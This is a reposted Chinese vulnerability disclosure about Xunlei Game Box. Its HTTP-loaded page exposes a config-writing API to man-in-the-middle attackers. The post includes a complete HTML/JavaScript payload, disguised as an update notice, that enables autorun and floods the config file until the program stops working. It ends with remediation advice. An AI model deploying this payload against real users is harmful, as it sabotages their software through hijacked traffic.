网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

迅雷游戏盒子可被中间人攻击导致持久性拒绝服务及解决方案 - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:07 作者:xxadmin 阅读:

[导读] 迅雷游戏盒子可被中间人攻击导致持久性拒绝服务。版本号:2.2.21.0360 迅雷游戏盒子打开时会向http://v2.boxpage.niu.xunlei.com/v3/index.html发送请求。通过研究这个html文件,我发现window.extern...

迅雷游戏盒子可被中间人攻击导致持久性拒绝服务。版本号:2.2.21.0360

迅雷游戏盒子打开时会向http://v2.boxpage.niu.xunlei.com/v3/index.html发送请求。通过研究这个html文件,我发现window.external.SetConfigData()这个API可以写入本地配置文件,没有做限制。比如:window.external.SetConfigData("~XLGameBoxConfig~", "IsAutoRun", "true")可以使游戏盒子开机自动启动。这个本地文件保存在%APPDATA%\迅雷游戏\XLGameBox\Data\xggb_config.ini。因为没有用HTTPS,所以中间人可以劫持游戏盒子的网页请求,这样中间人即可任意写本地配置文件。我找了半天,没发现有特别危险的配置,比如代码执行,下载文件。我也不想就这么算了,所以那就破坏呗。所以我就用setInterval循环向配置文件里写入大量无用信息,实测1分钟可写130MB左右。因为程序每次启动时都会先读取配置文件,所以当这个文件非常大时,可以导致程序永远无法正常打开。实测200MB左右时,无响应2分钟才能打开。而且即使打开了,每次移动窗口时还会卡半天。

版本号:
 

Screenshot (17).png


 

Screenshot (8).png



劫持http://v2.boxpage.niu.xunlei.com/v3/index.html,返回下面内容:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<script>
var val_w = new Array(1024*1024).join("a");
var i = 0;
window.external.SetConfigData("~XLGameBoxConfig~", "IsAutoRun", "true"); //开机自动启动
window.external.SetConfigData("~XLGameBoxConfig~", "CloseOperation", "Mini"); //点"X"最小化,而不是关闭程序
function iter() {
    window.external.SetConfigData("~UpdateInfo~", i, val_w);
    i++;
}
function dos() {
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Left", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Right", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Top", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_Bottom", val_w);
window.external.SetConfigData("~XLGameBoxConfig~", "MainWndPos_State", val_w);
window.setInterval(iter,50);
}
</script>
</head>
<body onload="dos()">
软件正在进行更新,请稍等。这一过程可能持续几分钟。
</body>
</html>





然后运行程序,可以看到正在配置文件正在快速变大:
 

Screenshot (7).png



在没有攻击的环境下,再打开的时候:
 

Screenshot (16).png

 

Screenshot (14).png



即使打开了,移动一下窗口:
 

Screenshot (12).png

 

解决方案:

首先让网页直接修改本地文件是危险的,不能不重视中间人攻击。如果你们之后加个能够用来执行代码的配置,那就不止拒绝服务这么简单了。任何通过HTTP(非HTTPS)下载的页面是不能信任的。所以SetConfigData能不公开给网页就不公开,即使非要用,要么用HTTPS,强制HTTPS网页才能改设置;要么限制能够设置的内容(几选一的方式设置)。另外,GetConfigData应该在读文件之前检查文件大小,大到离谱的时候,就应当删除并用默认值覆盖,或者只取前几KB读。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论